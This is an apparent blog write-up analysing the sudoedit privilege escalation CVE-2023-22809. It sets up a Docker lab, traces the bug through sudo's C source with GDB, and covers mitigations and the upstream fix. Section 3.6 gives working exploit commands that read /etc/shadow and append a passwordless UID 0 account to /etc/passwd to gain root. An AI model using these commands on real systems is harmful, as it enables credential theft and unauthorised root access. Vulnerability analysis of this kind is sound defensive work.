Sudo CVE-2023-22809 Analysis
1. Introduction
If there is one binary that every Linux user has typed at least once, it’s sudo. It is so deeply embedded in the muscle memory of sysadmins and developers alike that most people don’t even think twice about it. But CVE-2023-22809, discovered by Matthieu Barjole and Victor Cutillas of Synacktiv, reminds us that even the most trusted tools can hide dangerous bugs.
This vulnerability is a privilege escalation in sudoedit (sudo’s built-in file editing mode). By injecting a -- separator into an environment variable like EDITOR, a local attacker can trick sudo into editing arbitrary files as root, even if the sudoers policy only permits editing a single, specific file.
The affected versions span from 1.8.0 through 1.9.12p1, which means this bug lived in the codebase for over a decade before it was caught. It was fixed in version 1.9.12p2 of sudo via commit 0274a4f by Todd C. Miller.
In this post, we will set up a vulnerable lab environment, follow the bug through the C source code, and use GDB at each step to confirm what sudo is doing at runtime.
2. Setup
2.1 Docker Lab
To reproduce this issue, we will build a Docker container that compiles sudo v1.9.5 from source with debug symbols, creating a controlled lab environment for reading the code and debugging it live.
Here is the Dockerfile:
FROM ubuntu:latest
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update && apt-get install -y \
build-essential \
git \
gdb \
vim \
libpam0g-dev \
libssl-dev \
pkg-config \
autoconf \
automake \
libtool \
bison \
flex \
gettext \
&& rm -rf /var/lib/apt/lists/*
RUN git clone https://github.com/sudo-project/sudo.git /opt/sudo
WORKDIR /opt/sudo
RUN git checkout SUDO_1_9_5
RUN CFLAGS="-g -O0" ./configure --prefix=/usr/local \
&& make \
&& make install
RUN ln -sf /usr/local/bin/sudo /usr/local/bin/sudoedit
RUN chmod 4755 /usr/local/bin/sudo
RUN useradd -m -s /bin/bash testuser \
&& echo "testuser:password123" | chpasswd
RUN mkdir -p /etc/custom \
&& printf "[service]\nname=example\nport=8080\nenabled=true\n" > /etc/custom/service.conf
RUN printf "root ALL=(ALL:ALL) ALL\ntestuser ALL=(ALL:ALL) sudoedit /etc/custom/service.conf\n" \
> /etc/sudoers \
&& chown root:root /etc/sudoers \
&& chmod 0440 /etc/sudoers
ENTRYPOINT ["sleep", "infinity"]
- We compile with
CFLAGS="-g -O0"to include debug symbols and disable optimizations, which makes GDB output much more readable - The sudoers policy intentionally restricts testuser to only edit /etc/custom/service.conf via sudoedit
And the corresponding Docker Compose file:
version: '3.8'
services:
sudo-lab:
build:
context: .
dockerfile: Dockerfile
container_name: sudo-lab
stdin_open: true
tty: true
privileged: true
2.2 Building and Verifying
Build and start the lab container:
$ docker compose up -d --build
Verify that everything is in order:
$ docker exec sudo-lab /usr/local/bin/sudo --version
Sudo version 1.9.5
...
$ docker exec sudo-lab ls -la /usr/local/bin/sudo
-rwsr-xr-x 1 root root ... /usr/local/bin/sudo
$ docker exec sudo-lab gdb --version
GNU gdb (Ubuntu 15.1-1ubuntu1~24.04.1) 15.1
...
The sudo binary is version 1.9.5, has the setuid bit set, and GDB is ready to go.
3. Bug Walkthrough
The easiest way to understand this bug is to follow one value as it moves through sudo:
EDITOR="vim -- /etc/passwd"
The sudoers rule only allows testuser to edit /etc/custom/service.conf. The question is: how does /etc/passwd sneak into the final file list anyway?
To follow the code, we will read a small piece of source, then immediately confirm the same state in GDB. Since sudo is a setuid binary, we run GDB as root inside the lab container.
3.1 Policy Check
Everything starts in plugins/sudoers/sudoers.c, inside sudoers_policy_main(). When the user runs sudoedit /etc/custom/service.conf, sudo first asks the sudoers policy engine whether that command is allowed:
331 int
332 sudoers_policy_main(int argc, char * const argv[], int pwflag, char *env_add[],
333 bool verbose, void *closure)
334 {
...
420 validated = sudoers_lookup(snl, sudo_user.pw, &cmnd_status, pwflag);
...
Let’s start following the code from here:
$ docker exec --user root -it sudo-lab bash -c \
'export EDITOR="vim -- /etc/passwd"; gdb -q /usr/local/bin/sudoedit'
(gdb) set pag off
(gdb) set confirm off
(gdb) set output-radix 16
(gdb) set breakpoint pending on
(gdb) b sudoers.c:421
(gdb) run /etc/custom/service.conf
As seen from the listing below, the value of validated is 0x2.
(gdb) p validated
$1 = 0x2
According to plugins/sudoers/sudoers.h:152-154, this means that the validation is successful. In other words, the sudoers file says testuser may edit exactly that file, so the check succeeds.
...
152 #define VALIDATE_ERROR 0x001
153 #define VALIDATE_SUCCESS 0x002
154 #define VALIDATE_FAILURE 0x004
...
So far, nothing looks dangerous. The user asked to edit the allowed file, and sudo approved that request. The important detail comes later. After the policy check has already passed, sudo enters sudoedit mode and asks find_editor() to build the command that will actually run. Then, sudo replaces the old argument list with the newly built one:
331 int
332 sudoers_policy_main(int argc, char * const argv[], int pwflag, char *env_add[],
333 bool verbose, void *closure)
334 {
...
731 free(safe_cmnd);
732 safe_cmnd = find_editor(NewArgc - 1, NewArgv + 1, &edit_argc,
733 &edit_argv, NULL, &env_editor, false);
...
743 sudoers_gc_add(GC_VECTOR, edit_argv);
744 NewArgv = edit_argv;
745 NewArgc = edit_argc;
...
This is the core bug pattern: sudo checks one command, then later runs a command built from different input. This is often called a TOCTOU bug, short for “time of check, time of use.” In plain terms, the check and the later use do not agree on exactly what is being used.
3.2 Editor Input
The next stop is plugins/sudoers/editor.c. sudoedit lets users choose their editor with SUDO_EDITOR, VISUAL, or EDITOR:
213 *env_editor = NULL;
214 ev[0] = "SUDO_EDITOR";
215 ev[1] = "VISUAL";
216 ev[2] = "EDITOR";
The loop reads the first one that is set:
217 for (i = 0; i < nitems(ev); i++) {
218 char *editor = getenv(ev[i]);
220 if (editor != NULL && *editor != '\0') {
221 *env_editor = editor;
222 editor_path = resolve_editor(editor, strlen(editor),
223 nfiles, files, argc_out, argv_out, allowlist);
If the attacker sets EDITOR="vim -- /etc/passwd", sudo passes that whole string into resolve_editor(). It also passes the one file that policy approved: /etc/custom/service.conf.
GDB confirms both values at this breakpoint:
(gdb) b editor.c:222
(gdb) condition 2 i == 2
(gdb) continue
(gdb) p editor
$2 = 0x7fff8ceb3fcd "vim -- /etc/passwd"
(gdb) p nfiles
$3 = 0x1
(gdb) p files[0]
$4 = 0x7fff8ceb3ee6 "/etc/custom/service.conf"
What this means: the approved file list is still clean, but the editor string already contains an extra file path. The rest of the bug is about how that extra path gets mistaken for a sudoedit target.
3.3 Rebuilt Arguments
Inside resolve_editor(), sudo splits the editor string into command-line pieces. An argv is just the array of strings a program receives as arguments. For example, vim -- /etc/passwd becomes separate strings: vim, --, and /etc/passwd.
The first split extracts the editor program:
132 /*
133 * Split editor into an argument vector, including files to edit.
134 * The EDITOR and VISUAL environment variables may contain command
135 * line args so look for those and alloc space for them too.
136 */
137 cp = wordsplit(ed, edend, &ep);
Then sudo copies the remaining pieces into the new argv:
161 /* Fill in editor argv (assumes files[] is NULL-terminated). */
162 nargv[0] = editor;
163 editor = NULL;
164 for (nargc = 1; (cp = wordsplit(NULL, edend, &ep)) != NULL; nargc++) {
165 /* Copy string, collapsing chars escaped with a backslash. */
166 nargv[nargc] = copy_arg(cp, ep - cp);
167 if (nargv[nargc] == NULL)
168 goto oom;
169 }
--
After that, sudo appends its own separator and the policy-approved file:
170 if (nfiles != 0) {
171 nargv[nargc++] = "--";
172 while (nfiles--)
173 nargv[nargc++] = *files++;
174 }
175 nargv[nargc] = NULL;
The problem is that -- has a special meaning later, but at this stage sudo treats the attacker-supplied -- as just another editor argument.
GDB shows the final argv built by resolve_editor():
(gdb) b editor.c:179
(gdb) continue
(gdb) printf "nargv[0] = \"%s\"\nnargv[1] = \"%s\"\nnargv[2] = \"%s\"\nnargv[3] = \"%s\"\nnargv[4] = \"%s\"\n", nargv[0], nargv[1], nargv[2], nargv[3], nargv[4]
nargv[0] = "vim"
nargv[1] = "--"
nargv[2] = "/etc/passwd"
nargv[3] = "--" # <-- Added by sudo
nargv[4] = "/etc/custom/service.conf"
The command has changed shape:
Before parsing: EDITOR="vim -- /etc/passwd"
After parsing: vim -- /etc/passwd -- /etc/custom/service.conf
This is where the bypass becomes visible. The policy approved only /etc/custom/service.conf, but the new argv also contains /etc/passwd.
3.4 First -- Wins
The poisoned argv reaches sudo_edit() in src/sudo_edit.c:
(gdb) b sudo_edit
(gdb) continue
(gdb) printf "command_details->argv contents:\n argv[0] = \"%s\"\n argv[1] = \"%s\"\n argv[2] = \"%s\"\n argv[3] = \"%s\"\n argv[4] = \"%s\"\n", command_details->argv[0], command_details->argv[1], command_details->argv[2], command_details->argv[3], command_details->argv[4]
command_details->argv contents:
argv[0] = "vim"
argv[1] = "--"
argv[2] = "/etc/passwd"
argv[3] = "--"
argv[4] = "/etc/custom/service.conf"
At this point, sudoedit needs to separate editor arguments from files to edit. It does that by scanning for --:
627 int
628 sudo_edit(struct command_details *command_details)
629 {
...
653 /*
654 * The user's editor must be separated from the files to be
655 * edited by a "--" option.
656 */
657 for (ap = command_details->argv; *ap != NULL; ap++) {
658 if (files)
659 nfiles++;
660 else if (strcmp(*ap, "--") == 0)
661 files = ap + 1;
662 else
663 editor_argc++;
664 }
...
This loop uses the first -- it sees. Everything after that becomes the file list.
For the poisoned argv, the loop behaves like this:
| Step | Argument | Result |
|---|---|---|
| 1 | "vim" |
Still treated as the editor |
| 2 | "--" |
First separator found; files start at the next argument |
| 3 | "/etc/passwd" |
Counted as a file to edit |
| 4 | "--" |
Also counted as a file name |
| 5 | "/etc/custom/service.conf" |
Counted as a file to edit |
-- Reframes the File List
GDB confirms the result after the loop:
(gdb) b sudo_edit.c:665
(gdb) continue
(gdb) p nfiles
$5 = 0x3
(gdb) printf "files = { \"%s\", \"%s\", \"%s\" }\n", files[0], files[1], files[2]
files = { "/etc/passwd", "--", "/etc/custom/service.conf" }
What this means: sudoedit now believes there are three files to handle, with the first one being /etc/passwd, which was never approved by the sudoers policy.
3.5 Root File Handling
The final piece is privilege. sudo_edit() switches to root before preparing the files:
627 int
628 sudo_edit(struct command_details *command_details)
629 {
...
642 sudo_debug_printf(SUDO_DEBUG_INFO|SUDO_DEBUG_LINENO,
643 "setuid(%u)", ROOT_UID);
644 if (setuid(ROOT_UID) != 0) {
645 sudo_warn(U_("unable to change uid to root (%u)"), ROOT_UID);
646 goto cleanup;
647 }
...
Then it creates temporary copies of the files it believes the user is allowed to edit:
627 int
628 sudo_edit(struct command_details *command_details)
629 {
...
679 /* Copy editor files to temporaries. */
680 tf = calloc(nfiles, sizeof(*tf));
...
690 nfiles = sudo_edit_create_tfiles(command_details, tf, files, nfiles);
...
Because /etc/passwd is now in that final list, sudoedit opens it with root privileges, copies it to a temporary file, lets the editor modify it, and writes changes back.
At this point, the bug is no longer just an argument parsing issue. sudo has turned an unapproved path from EDITOR into a file it will process as root.
3.6 Exploit Proof
Let us confirm the exploit works end-to-end. Using cat as the “editor”, we can read /etc/shadow through a user that should only be able to edit /etc/custom/service.conf:
$ docker exec --user testuser -it sudo-lab bash
testuser@b91d1bd91442:/opt/sudo$ EDITOR="cat -- /etc/shadow" sudoedit /etc/custom/service.conf
root:*:20553:0:99999:7:::
daemon:*:20553:0:99999:7:::
bin:*:20553:0:99999:7:::
sys:*:20553:0:99999:7:::
...
testuser:$y$j9T$YJX7SkajXeiGS4IHAVEVk.$mkVtvoqi/JqYNngdT67Umh...:20564:0:99999:7:::
[service]
name=example
port=8080
enabled=true
sudoedit: /etc/shadow unchanged
sudoedit: -- unchanged
sudoedit: /etc/custom/service.conf unchanged
testuser cannot read /etc/shadow directly, yet by abusing the -- injection, sudoedit copies the file to a temp location as root and runs the “editor” (cat) on it, printing its full contents including password hashes.
To take this further, we can inject a passwordless root user into /etc/passwd:
testuser@b91d1bd91442:/opt/sudo$ cat > /tmp/evil_editor.sh << "EOF"
#!/bin/bash
echo "hacked::0:0:hacked:/root:/bin/bash" >> "$1"
EOF
testuser@b91d1bd91442:/opt/sudo$ chmod +x /tmp/evil_editor.sh
testuser@b91d1bd91442:/opt/sudo$ EDITOR="/tmp/evil_editor.sh -- /etc/passwd" sudoedit /etc/custom/service.conf
testuser@b91d1bd91442:/opt/sudo$ cat /etc/passwd
...
testuser:x:1001:1001::/home/testuser:/bin/bash
hacked::0:0:hacked:/root:/bin/bash
testuser@b91d1bd91442:/opt/sudo$ su hacked
root@b91d1bd91442:/opt/sudo$ whoami && id
root
uid=0(root) gid=0(root) groups=0(root)
4. Mitigations
The root cause is that resolve_editor() at plugins/sudoers/editor.c:164-169 never checks whether the user-supplied editor arguments contain --. There are two ways to address this.
4.1 Workaround: Strip Editor Environment Variables
If upgrading immediately is not an option, add the affected environment variables to the env_delete deny list when using sudoedit:
Defaults!SUDOEDIT env_delete+="SUDO_EDITOR VISUAL EDITOR"
Cmnd_Alias SUDOEDIT = sudoedit /etc/custom/service.conf
testuser ALL=(ALL:ALL) SUDOEDIT
This prevents the user-controlled environment variables from reaching find_editor() entirely.
4.2 Upgrade to sudo >= 1.9.12p2
The proper fix, applied in commit 0274a4f, adds a check in resolve_editor() to reject -- as an editor argument:
164 for (nargc = 1; (cp = wordsplit(NULL, edend, &ep)) != NULL; nargc++) {
165 nargv[nargc] = copy_arg(cp, ep - cp);
166 if (nargv[nargc] == NULL)
167 goto oom;
168
169 if (strcmp(nargv[nargc], "--") == 0) {
170 sudo_warnx(U_("ignoring editor: %.*s"), (int)edlen, ed);
171 sudo_warnx("%s", U_("editor arguments may not contain \"--\""));
172 errno = EINVAL;
173 goto bad;
174 }
175 }
The fix checks each token produced by wordsplit() and rejects the editor entirely if any argument equals --, returning an EINVAL error before the poisoned argv can be constructed.
5. Conclusion
A user-controlled environment variable, a missing input validation check, and a first-match -- parser combined to create a decade-old privilege escalation in one of the most widely deployed binaries on Linux.
The vulnerability boils down to two contributing factors:
- No sanitization of
--in editor environment variables- resolve_editor() at plugins/sudoers/editor.c:164-169 treats
--as just another argument token
- resolve_editor() at plugins/sudoers/editor.c:164-169 treats
- TOCTOU gap between policy validation and command construction
- The sudoers policy validates the original file list at plugins/sudoers/sudoers.c:420
- But find_editor() at plugins/sudoers/sudoers.c:732 constructs a new argv that can include unauthorized files, with no re-validation
6. References
- Synacktiv advisory: https://www.synacktiv.com/sites/default/files/2023-01/sudo-CVE-2023-22809.pdf
- NVD - CVE-2023-22809: https://nvd.nist.gov/vuln/detail/CVE-2023-22809
- Fix commit: https://github.com/sudo-project/sudo/commit/0274a4f3b403162a37a10f199c989f3727ed3ad4
- Sudo project: https://github.com/sudo-project/sudo
- Sudo official website: https://www.sudo.ws/